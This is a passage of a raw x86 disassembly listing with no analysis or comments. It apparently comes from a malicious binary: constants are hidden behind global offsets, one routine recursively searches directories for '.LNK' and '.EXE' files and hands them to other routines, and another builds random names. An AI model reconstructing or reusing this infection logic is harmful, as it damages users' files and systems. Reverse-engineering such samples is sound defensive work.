inc word ptr [edi]
jmp short loc_41CFA7
; ---------------------------------------------------------------------------
loc_41CF6D: ; CODE XREF: sub_41C9F7+532j
; sub_41C9F7+54Aj ...
inc [ebp+var_10088]
loc_41CF73: ; CODE XREF: sub_41C9F7+51Dj
mov eax, ds:100131F4h
add eax, 3DEh
movsx edx, word ptr ds:10013230h
add eax, edx
cmp [ebp+var_10088], eax
jb short loc_41CF16
jmp short loc_41CFA7
; ---------------------------------------------------------------------------
loc_41CF90: ; CODE XREF: sub_41C9F7+4F6j
mov edi, [ebp+var_10058]
mov esi, ds:10013284h
sub esi, 8
mov ds:1000FA50h[edi*2], si
loc_41CFA7: ; CODE XREF: sub_41C9F7+574j
; sub_41C9F7+597j
call dword ptr ds:10012770h
mov edi, [ebp+var_10058]
mov ds:10011660h[edi*4], eax
lea esi, ds:10013354h
mov ds:1000E130h[edi*4], esi
mov edi, [ebp+var_10058]
lea edi, ds:1000E130h[edi*4]
mov [ebp+var_10084], edi
mov eax, edi
push eax
mov esi, [eax]
call dword ptr [esi+4]
mov [ebp+var_10078], 9
mov edi, [ebp+var_10058]
lea edi, ds:1000E130h[edi*4]
mov [ebp+var_10070], edi
lea esi, [ebp+var_10078]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_1007C]
push edi
mov edi, [edi]
call dword ptr [edi+0A4h]
mov ebx, eax
inc [ebp+var_10058]
lea eax, [ebp+var_10078]
push eax
call dword ptr ds:10012BB0h
mov eax, [ebp+var_1007C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41D040: ; CODE XREF: sub_41C9F7+158j
; sub_41C9F7+165j ...
cmp [ebp+var_10048], 0
jz short loc_41D055
mov eax, [ebp+var_10048]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41D055: ; CODE XREF: sub_41C9F7+650j
cmp [ebp+var_4], 0
jz short loc_41D064
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41D064: ; CODE XREF: sub_41C9F7+11Bj
; sub_41C9F7+662j
inc [ebp+var_1C]
loc_41D067: ; CODE XREF: sub_41C9F7+CDj
mov eax, [ebp+var_28]
cmp [ebp+var_1C], eax
jb loc_41CAC9
loc_41D073: ; CODE XREF: sub_41C9F7+B6j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41D07C: ; CODE XREF: sub_41C9F7+8Ej
mov eax, [ebp+var_2C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
loc_41D087: ; CODE XREF: sub_41C9F7+5Fj
; sub_41C9F7+1E6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C9F7 endp
; ---------------------------------------------------------------------------
dd 4001B8h, 8C280h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D094 proc near ; CODE XREF: sub_421353+346p
; sub_421353+440p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov edi, ds:100131CCh
sub edi, 6
cmp edx, edi
jnz short loc_41D0B8
mov eax, [ebp+arg_0]
jmp short loc_41D0D2
; ---------------------------------------------------------------------------
loc_41D0B8: ; CODE XREF: sub_41D094+1Dj
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov [ebp+var_8], eax
mov edi, eax
mul esi
mov [ebp+var_C], eax
mov edi, eax
add edi, esi
mov [ebp+var_4], edi
mov eax, edi
loc_41D0D2: ; CODE XREF: sub_41D094+22j
pop edi
pop esi
leave
retn
sub_41D094 endp
; =============== S U B R O U T I N E =======================================
sub_41D0D6 proc near ; CODE XREF: sub_42091E+259p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov ecx, esi
mov eax, ds:10013154h
movsx edx, word ptr ds:10013098h
add eax, edx
sub eax, 2
cmp ecx, eax
jge short loc_41D12C
mov eax, ds:100130C4h
movsx edx, word ptr ds:100131F0h
add eax, edx
sub eax, 5
imul ecx, eax
mov eax, ds:1001309Ch
sub eax, 4
mov edx, esi
add edx, eax
movsx eax, word ptr ds:1001327Ch
add eax, ds:1001315Ch
sub eax, 9
imul edx, eax
sub ecx, edx
jmp loc_41D269
; ---------------------------------------------------------------------------
loc_41D12C: ; CODE XREF: sub_41D0D6+1Aj
dec ecx
mov eax, ds:1001309Ch
add eax, 0Eh
add eax, ds:100130ACh
cmp ecx, eax
jge short loc_41D16C
movsx eax, word ptr ds:100131E0h
add eax, ds:100130ACh
sub eax, 2
imul ecx, eax
mov eax, ecx
sub eax, esi
mov edx, ds:100131BCh
inc edx
add edx, ds:100131A0h
mov ecx, eax
sub ecx, edx
jmp loc_41D269
; ---------------------------------------------------------------------------
loc_41D16C: ; CODE XREF: sub_41D0D6+67j
dec ecx
movsx eax, word ptr ds:100130E0h
mov edx, ds:1001314Ch
lea eax, [eax+edx+1Bh]
cmp ecx, eax
jge short loc_41D1A4
movsx eax, word ptr ds:100130A4h
add eax, ds:10013234h
sub eax, 7
imul ecx, eax
mov eax, ds:10013158h
add eax, 39h
sub ecx, eax
jmp loc_41D269
; ---------------------------------------------------------------------------
loc_41D1A4: ; CODE XREF: sub_41D0D6+AAj
dec ecx
mov eax, ds:10013154h
add eax, 1Dh
cmp ecx, eax
jge short loc_41D1D1
movsx eax, word ptr ds:1001316Ch
inc eax
imul ecx, eax
mov eax, ds:100130C4h
add eax, 39h
add eax, ds:100130D4h
sub ecx, eax
jmp loc_41D269
; ---------------------------------------------------------------------------
loc_41D1D1: ; CODE XREF: sub_41D0D6+D9j
dec ecx
movsx eax, word ptr ds:100131E0h
mov edx, ds:100130B4h
lea eax, [eax+edx+21h]
cmp ecx, eax
jge short loc_41D20F
movsx eax, word ptr ds:10013264h
add eax, ds:10013114h
sub eax, 0Fh
imul ecx, eax
movsx eax, word ptr ds:10013174h
mov edx, ds:10013138h
lea eax, [eax+edx+4Dh]
sub ecx, eax
jmp short loc_41D269
; ---------------------------------------------------------------------------
loc_41D20F: ; CODE XREF: sub_41D0D6+10Fj
dec ecx
mov eax, ds:100131ECh
add eax, 2Eh
cmp ecx, eax
jge short loc_41D235
mov eax, ds:1001310Ch
sub eax, 4
imul ecx, eax
movsx eax, word ptr ds:100130B0h
add eax, 63h
sub ecx, eax
jmp short loc_41D269
; ---------------------------------------------------------------------------
loc_41D235: ; CODE XREF: sub_41D0D6+144j
dec ecx
mov eax, ds:10013198h
add eax, 37h
cmp ecx, eax
jge short loc_41D259
mov eax, ds:1001311Ch
sub eax, 3
imul ecx, eax
mov eax, ds:1001317Ch
add eax, 6Bh
sub ecx, eax
jmp short loc_41D269
; ---------------------------------------------------------------------------
loc_41D259: ; CODE XREF: sub_41D0D6+16Aj
mov eax, ds:1001318Ch
add eax, 34h
add eax, ds:10013120h
sub ecx, eax
loc_41D269: ; CODE XREF: sub_41D0D6+51j
; sub_41D0D6+91j ...
mov eax, ecx
pop esi
retn
sub_41D0D6 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
movsx eax, word ptr ds:100131C0h
sub eax, 4
cmp ds:1000F608h, eax
jbe short loc_41D28D
push 1000F608h
call dword ptr ds:1000D010h
loc_41D28D: ; CODE XREF: .data:0041D280j
mov eax, ds:1000F608h
pop ebp
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+8]
mov eax, [ebp+18h]
mov [ebp+18h], ax
movsx eax, word ptr ds:1001322Ch
add eax, 3
cmp ds:1000F620h, eax
jnb short loc_41D2C6
mov eax, ds:10013258h
sub eax, 2
mov ds:1000F620h, eax
loc_41D2C6: ; CODE XREF: .data:0041D2B7j
mov eax, ds:10013280h
mov edi, eax
add edi, ds:10013210h
sub edi, 5
jmp short loc_41D2E4
; ---------------------------------------------------------------------------
loc_41D2D8: ; CODE XREF: .data:0041D2F0j
lea ebx, ds:1000E130h[edi*4]
cmp esi, ebx
jz short loc_41D2F2
inc edi
loc_41D2E4: ; CODE XREF: .data:0041D2D6j
mov eax, ds:100130F4h
add eax, 3E1h
cmp edi, eax
jb short loc_41D2D8
loc_41D2F2: ; CODE XREF: .data:0041D2E1j
mov eax, ds:10013094h
add eax, 3DCh
movsx edx, word ptr ds:10013230h
add eax, edx
cmp edi, eax
jnz short loc_41D310
xor eax, eax
jmp loc_41D45E
; ---------------------------------------------------------------------------
loc_41D310: ; CODE XREF: .data:0041D307j
movzx esi, word ptr ds:1000FA50h[edi*2]
mov ebx, ds:100130ACh
movsx edx, word ptr ds:1001327Ch
add ebx, edx
sub ebx, 4
cmp esi, ebx
jnz short loc_41D355
movzx eax, byte ptr ds:1000F200h[edi]
push eax
push dword ptr ds:1000D060h[edi*4]
call sub_42284B
add esp, 8
and dword ptr ds:1000E130h[edi*4], 0
xor eax, eax
jmp loc_41D45E
; ---------------------------------------------------------------------------
loc_41D355: ; CODE XREF: .data:0041D32Cj
movzx esi, word ptr ds:1000FA50h[edi*2]
mov ebx, ds:1001315Ch
add ebx, 0FFF6h
cmp esi, ebx
jnz loc_41D43C
mov eax, ds:10013110h
movsx edx, word ptr ds:100130D8h
add eax, edx
sub eax, 7
mov [ebp-4], eax
jmp loc_41D425
; ---------------------------------------------------------------------------
loc_41D38A: ; CODE XREF: .data:0041D432j
mov esi, [ebp-4]
mov ebx, esi
shl ebx, 2
cmp dword ptr ds:1000E130h[ebx], 0
jz loc_41D422
movzx edx, word ptr ds:1000FA50h[esi*2]
movsx ecx, word ptr ds:100130C0h
add ecx, 0FFFDh
cmp edx, ecx
jz short loc_41D422
mov edx, ds:1000D060h[edi*4]
cmp ds:1000D060h[ebx], edx
jnz short loc_41D422
mov bl, ds:1000F200h[esi]
cmp bl, ds:1000F200h[edi]
jnz short loc_41D422
movzx esi, word ptr ds:1000FA50h[esi*2]
mov ebx, ds:1001309Ch
sub ebx, 4
cmp esi, ebx
jnz short loc_41D413
mov esi, [ebp-4]
movzx ebx, byte ptr ds:1000F200h[esi]
push ebx
push dword ptr ds:1000D060h[esi*4]
call sub_42284B
add esp, 8
and dword ptr ds:1000E130h[edi*4], 0
jmp short loc_41D438
; ---------------------------------------------------------------------------
loc_41D413: ; CODE XREF: .data:0041D3ECj
mov esi, [ebp-4]
lea esi, ds:1000FA50h[esi*2]
dec word ptr [esi]
jmp short loc_41D438
; ---------------------------------------------------------------------------
loc_41D422: ; CODE XREF: .data:0041D39Aj
; .data:0041D3B7j ...
inc dword ptr [ebp-4]
loc_41D425: ; CODE XREF: .data:0041D385j
mov eax, ds:1001328Ch
add eax, 3E2h
cmp [ebp-4], eax
jb loc_41D38A
loc_41D438: ; CODE XREF: .data:0041D411j
; .data:0041D420j
xor eax, eax
jmp short loc_41D45E
; ---------------------------------------------------------------------------
loc_41D43C: ; CODE XREF: .data:0041D36Bj
movzx esi, word ptr ds:1000FA50h[edi*2]
mov ebx, ds:10013274h
add ebx, ds:1001318Ch
cmp esi, ebx
jle short loc_41D45C
dec word ptr ds:1000FA50h[edi*2]
loc_41D45C: ; CODE XREF: .data:0041D452j
xor eax, eax
loc_41D45E: ; CODE XREF: .data:0041D30Bj
; .data:0041D350j ...
pop edi
pop esi
pop ebx
leave
retn 24h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D465 proc near ; CODE XREF: sub_41B930+B8p
; sub_41BA2F+1CDp ...
var_EF38 = dword ptr -0EF38h
var_EF34 = dword ptr -0EF34h
var_EF30 = dword ptr -0EF30h
var_EF2C = byte ptr -0EF2Ch
var_EF2B = byte ptr -0EF2Bh
var_EE2C = dword ptr -0EE2Ch
var_EE24 = byte ptr -0EE24h
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 0EF38h
call sub_423379
push ebx
push esi
push edi
mov edi, ds:10013288h
movsx esi, word ptr ds:10013160h
add edi, esi
imul edi, 3C0h
sub edi, 12C0h
movsx esi, word ptr ds:100131C0h
lea edi, [edi+esi+0EA5Ch]
shl edi, 1
mov [ebp+var_EF38], edi
push edi
call sub_4232FE
add esp, 4
mov [ebp+var_EE2C], eax
movzx eax, [ebp+arg_0]
mov edx, ds:10013200h
add edx, ds:100130A0h
sub edx, 8
cmp eax, edx
jnz short loc_41D4EF
push 10014171h
call sub_41C914
add esp, 4
push eax
lea edi, [ebp+var_EE24]
push edi
call dword ptr ds:10012634h
add esp, 8
jmp loc_41D5FD
; ---------------------------------------------------------------------------
loc_41D4EF: ; CODE XREF: sub_41D465+65j
call dword ptr ds:10010228h
mov ebx, eax
mov [ebp+var_EF2C], bl
movzx eax, [ebp+arg_0]
mov edx, ds:10013164h
add edx, ds:100130C4h
sub edx, 9
cmp eax, edx
jnz short loc_41D56C
mov eax, ds:100130F0h
add eax, 6
add eax, ds:1001318Ch
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push [ebp+arg_8]
call sub_420EFF
add esp, 0Ch
push 10014141h
call sub_41C914
add esp, 4
movzx edi, [ebp+var_EF2C]
push edi
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call dword ptr ds:10012634h
add esp, 10h
jmp loc_41D5FD
; ---------------------------------------------------------------------------
loc_41D56C: ; CODE XREF: sub_41D465+ADj
mov eax, ds:10013194h
sub eax, 9
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push dword ptr ds:10013370h
call sub_420EFF
add esp, 0Ch
push 100140DEh
call sub_41C914
add esp, 4
mov edi, [ebp+arg_18]
mov esi, [ebp+arg_8]
mov ebx, edi
add ebx, esi
push ebx
movsx ebx, word ptr ds:100131DCh
movsx edx, word ptr ds:10013170h
add ebx, edx
dec ebx
push ebx
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
movzx edi, [ebp+var_EF2C]
push edi
mov edi, esi
sub edi, [ebp+arg_C]
movsx esi, word ptr ds:10013104h
sub esi, 4
sub edi, esi
push edi
push 10010230h
push [ebp+arg_10]
push [ebp+arg_20]
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call dword ptr ds:10012634h
add esp, 34h
loc_41D5FD: ; CODE XREF: sub_41D465+85j
; sub_41D465+102j
push [ebp+var_EF38]
push [ebp+var_EE2C]
movsx eax, word ptr ds:10013130h
movsx edx, word ptr ds:1001316Ch
add eax, edx
sub eax, 3
neg eax
push eax
lea eax, [ebp+var_EE24]
push eax
mov eax, ds:1001321Ch
sub eax, 8
push eax
push 0
call dword ptr ds:10012640h
push 100140C4h
call sub_41FB74
add esp, 4
push eax
call dword ptr ds:1000D044h
mov [ebp+var_EF30], eax
push [ebp+var_EE2C]
call dword ptr ds:1000D044h
mov [ebp+var_EF34], eax
push eax
push [ebp+var_EF30]
mov eax, [ebp+arg_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+104h]
push [ebp+var_EF34]
call dword ptr ds:10012BA0h
push [ebp+var_EF30]
call dword ptr ds:10012BA0h
lea esp, [ebp-0EF44h]
pop edi
pop esi
pop ebx
leave
retn
sub_41D465 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D699 proc near ; CODE XREF: sub_41AFF0+B6p
; sub_41AFF0+EDp ...
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push edi
movzx eax, [ebp+arg_0]
mov ecx, 2Bh
mov edx, 2FA0BE83h
mul edx
shr edx, 3
mov [ebp+var_4], edx
mov edi, edx
mov ebx, edi
mov [ebp+arg_0], bl
movzx eax, [ebp+arg_0]
mov edx, ds:10013280h
sub edx, 4
cmp eax, edx
jnz short loc_41D6D7
mov eax, 65h
jmp loc_41D760
; ---------------------------------------------------------------------------
loc_41D6D7: ; CODE XREF: sub_41D699+32j
movzx eax, [ebp+arg_0]
movsx edx, word ptr ds:100130CCh
sub edx, 6
cmp eax, edx
jnz short loc_41D6F0
mov eax, 79h
jmp short loc_41D760
; ---------------------------------------------------------------------------
loc_41D6F0: ; CODE XREF: sub_41D699+4Ej
movzx eax, [ebp+arg_0]
mov edx, ds:1001320Ch
add edx, ds:10013120h
sub edx, 9
cmp eax, edx
jnz short loc_41D70E
mov eax, 75h
jmp short loc_41D760
; ---------------------------------------------------------------------------
loc_41D70E: ; CODE XREF: sub_41D699+6Cj
movzx eax, [ebp+arg_0]
mov edx, ds:100131E4h
add edx, ds:10013274h
sub edx, 2
cmp eax, edx
jnz short loc_41D72C
mov eax, 69h
jmp short loc_41D760
; ---------------------------------------------------------------------------
loc_41D72C: ; CODE XREF: sub_41D699+8Aj
movzx eax, [ebp+arg_0]
mov edx, ds:1001328Ch
add edx, ds:1001325Ch
sub edx, 0Ah
cmp eax, edx
jnz short loc_41D74A
mov eax, 6Fh
jmp short loc_41D760
; ---------------------------------------------------------------------------
loc_41D74A: ; CODE XREF: sub_41D699+A8j
movzx eax, [ebp+arg_0]
mov edx, ds:10013154h
sub edx, 2
cmp eax, edx
jnz short loc_41D760
mov eax, 61h
loc_41D760: ; CODE XREF: sub_41D699+39j
; sub_41D699+55j ...
pop edi
pop ebx
leave
retn
sub_41D699 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D764 proc near ; CODE XREF: .data:00419A86p
; sub_41D764+2D8p ...
var_252 = byte ptr -252h
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
cmp [ebp+arg_8], 0
jz short loc_41D792
mov eax, ds:100131E8h
add eax, ds:100130B8h
sub eax, 4
mov [ebp+var_248], eax
jmp loc_41D822
; ---------------------------------------------------------------------------
loc_41D792: ; CODE XREF: sub_41D764+13j
mov edx, [ebp+arg_4]
mov ecx, ds:100131C4h
add ecx, ds:100131CCh
sub ecx, 0Bh
cmp ds:1000F630h[edx*4], ecx
jnz short loc_41D7C3
push ebx
call dword ptr ds:1000F60Ch
mov eax, ds:100131B8h
sub eax, 4
push eax
call dword ptr ds:10012664h
loc_41D7C3: ; CODE XREF: sub_41D764+47j
mov eax, ds:10013154h
add eax, 5Dh
add eax, ds:1001318Ch
mov [ebp+var_248], eax
push 100140B9h
call sub_41C914
push [ebp+arg_4]
push eax
lea edx, [ebp+var_252]
push edx
call dword ptr ds:10012634h
add esp, 10h
lea eax, [ebp+var_252]
push eax
call dword ptr ds:10012668h
cmp eax, 3
jnz short loc_41D822
movsx eax, word ptr ds:1001322Ch
movsx edx, word ptr ds:10013144h
lea eax, [eax+edx+11Fh]
mov [ebp+var_248], eax
loc_41D822: ; CODE XREF: sub_41D764+29j
; sub_41D764+A1j
xor edi, edi
inc edi
push 100140B2h
call sub_41C914
push esi
push eax
lea edx, [ebp+var_242]
push edx
call dword ptr ds:10012634h
add esp, 10h
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41D846: ; CODE XREF: sub_41D764+E7j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D846
movsx ecx, word ptr ds:100131DCh
add ecx, 4
mov edx, eax
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_41D8FC
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_41D86A: ; CODE XREF: sub_41D764+10Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D86A
mov ecx, ds:10013128h
sub ecx, 5
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 4Ch
jnz short loc_41D8FC
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_41D896: ; CODE XREF: sub_41D764+137j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D896
mov edx, eax
mov ecx, ds:10013248h
movsx eax, word ptr ds:100130BCh
add ecx, eax
sub ecx, 6
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 4Eh
jnz short loc_41D8FC
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_41D8CB: ; CODE XREF: sub_41D764+16Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D8CB
movsx ecx, word ptr ds:10013150h
sub ecx, 6
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 4Bh
jnz short loc_41D8FC
push esi
call sub_41C19D
add esp, 4
loc_41D8FC: ; CODE XREF: sub_41D764+FBj
; sub_41D764+12Bj ...
mov ecx, esi
or eax, 0FFFFFFFFh
loc_41D901: ; CODE XREF: sub_41D764+1A2j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D901
movsx ecx, word ptr ds:100130BCh
add ecx, ds:100131F4h
sub ecx, 8
mov edx, eax
sub edx, ecx
cmp byte ptr [esi+edx], 2Eh
jnz loc_41D9CF
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_41D92B: ; CODE XREF: sub_41D764+1CCj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D92B
movsx ecx, word ptr ds:100130CCh
add ecx, ds:100131B0h
sub ecx, 0Ah
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 45h
jnz short loc_41D9CF
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_41D95E: ; CODE XREF: sub_41D764+1FFj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D95E
mov ecx, ds:10013278h
add ecx, ds:1001320Ch
sub ecx, 5
mov edx, eax
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 58h
jnz short loc_41D9CF
lea ecx, [esi]
or eax, 0FFFFFFFFh
loc_41D990: ; CODE XREF: sub_41D764+231j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_41D990
mov edx, eax
mov ecx, ds:10013134h
movsx eax, word ptr ds:10013250h
add ecx, eax
sub ecx, 7
sub edx, ecx
movsx edx, byte ptr [esi+edx]
push edx
call dword ptr ds:1000D030h
add esp, 4
cmp eax, 45h
jnz short loc_41D9CF
push [ebp+var_248]
push esi
call sub_4206A9
add esp, 8
loc_41D9CF: ; CODE XREF: sub_41D764+1BCj
; sub_41D764+1F3j ...
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call dword ptr ds:10010258h
mov ebx, eax
movsx eax, word ptr ds:1001322Ch
movsx edx, word ptr ds:10013104h
add eax, edx
sub eax, 0Eh
neg eax
cmp ebx, eax
jz loc_41DAB9
cmp [ebp+var_112], 2Eh
jz loc_41DAB5
push 100140A9h
call sub_41C914
lea edx, [ebp+var_112]
push edx
push esi
push eax
lea edx, [ebp+var_242]
push edx
call dword ptr ds:10012634h
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_41D764
add esp, 20h
jmp short loc_41DAB5
; ---------------------------------------------------------------------------
loc_41DA46: ; CODE XREF: sub_41D764+353j
lea eax, [ebp+var_13E]
push eax
push ebx
call dword ptr ds:1000E004h
mov edi, eax
or edi, edi
jnz short loc_41DA77
mov eax, [ebp+var_248]
add eax, ds:10012638h
push eax
call dword ptr ds:10012630h
pop ecx
push ebx
call dword ptr ds:1000F60Ch
jmp short loc_41DAB9
; ---------------------------------------------------------------------------
loc_41DA77: ; CODE XREF: sub_41D764+2F4j
cmp [ebp+var_112], 2Eh
jz short loc_41DAB5
push 100140A0h
call sub_41C914
lea edx, [ebp+var_112]
push edx
push esi
push eax
lea edx, [ebp+var_242]
push edx
call dword ptr ds:10012634h
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_41D764
add esp, 20h
loc_41DAB5: ; CODE XREF: sub_41D764+2A5j
; sub_41D764+2E0j ...
or edi, edi
jnz short loc_41DA46
loc_41DAB9: ; CODE XREF: sub_41D764+298j
; sub_41D764+311j
pop edi
pop esi
pop ebx
leave
retn
sub_41D764 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41DABE proc near ; CODE XREF: .data:0041F30Ap
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
mov eax, ds:1001323Ch
sub eax, 5
mov [ebp+var_4], eax
jmp short loc_41DAEA
; ---------------------------------------------------------------------------
loc_41DAD4: ; CODE XREF: sub_41DABE+40j
mov eax, 30h
mul [ebp+var_4]
mov [ebp+var_20], eax
and dword ptr ds:10010370h[eax], 0
inc [ebp+var_4]
loc_41DAEA: ; CODE XREF: sub_41DABE+14j
movsx eax, word ptr ds:10013264h
mov edx, ds:100130A0h
lea eax, [eax+edx+57h]
cmp [ebp+var_4], eax
jb short loc_41DAD4
push 0
call dword ptr ds:1000F0D0h
push 10013394h
push 10014AB8h
push 7
push 0
push 100149F8h
call dword ptr ds:1000F624h
mov ebx, eax
mov eax, ds:1001311Ch
sub eax, 5
cmp ebx, eax
jnz loc_41DCE6
lea eax, [ebp+var_C]
push eax
mov eax, ds:10013394h
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
mov eax, ds:10013190h
sub eax, 2
cmp ebx, eax
jnz short loc_41DB66
mov eax, ds:1001310Ch
movsx edx, word ptr ds:10013208h
add eax, edx
sub eax, 0Bh
cmp [ebp+var_C], eax
jnz short loc_41DB6B
loc_41DB66: ; CODE XREF: sub_41DABE+90j
jmp loc_41DC76
; ---------------------------------------------------------------------------
loc_41DB6B: ; CODE XREF: sub_41DABE+A6j
mov eax, ds:100131D4h
movsx edx, word ptr ds:10013130h
add eax, edx
sub eax, 5
mov [ebp+var_8], eax
jmp loc_41DC6A
; ---------------------------------------------------------------------------
loc_41DB84: ; CODE XREF: sub_41DABE+1B2j
mov [ebp+var_38], 3
mov eax, [ebp+var_8]
mov [ebp+var_30], eax
lea eax, [ebp+var_3C]
push eax
lea esi, [ebp+var_38]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, ds:10013394h
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
movsx eax, word ptr ds:10013144h
add eax, ds:100130A0h
sub eax, 0Ah
cmp ebx, eax
jnz loc_41DC67
lea eax, [ebp+var_40]
push eax
push 10014AD8h
mov eax, [ebp+var_3C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:100131D0h
movsx edx, word ptr ds:10013264h
add eax, edx
sub eax, 10h
cmp ebx, eax
jnz short loc_41DC5E
lea eax, ds:10013390h
mov [ebp+var_24], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_44]
push eax
push 10014A18h
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, ds:10013110h
sub eax, 5
cmp ebx, eax
jnz short loc_41DC4C
lea eax, [ebp+var_48]
push eax
push 10014A18h
push [ebp+var_44]
push [ebp+var_40]
call sub_41FA4A
add esp, 10h
mov [ebp+var_4C], eax
mov eax, [ebp+var_44]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41DC4C: ; CODE XREF: sub_41DABE+169j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41DC5E: ; CODE XREF: sub_41DABE+136j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_41DC67: ; CODE XREF: sub_41DABE+105j
inc [ebp+var_8]
loc_41DC6A: ; CODE XREF: sub_41DABE+C1j
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_41DB84
loc_41DC76: ; CODE XREF: sub_41DABE:loc_41DB66j
lea eax, ds:100133B4h
mov [ebp+var_10], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push 10014A08h
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr ds:0[esi]
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea eax, [ebp+var_1C]
push eax
push 10014A08h
push [ebp+var_14]
push dword ptr ds:10013394h
call sub_41FA4A
add esp, 10h
mov [ebp+var_18], eax
mov ecx, ds:100131CCh
add ecx, ds:100130ECh
sub ecx, 0Ah
cmp eax, ecx
jnz short loc_41DCE6
mov eax, ds:10013394h
push eax
mov esi, [eax]
call dword ptr [esi+8]
and dword ptr ds:10013394h, 0
loc_41DCE6: ; CODE XREF: sub_41DABE+6Fj
; sub_41DABE+214j
pop edi
pop esi
pop ebx
leave
retn
sub_41DABE endp
; =============== S U B R O U T I N E =======================================
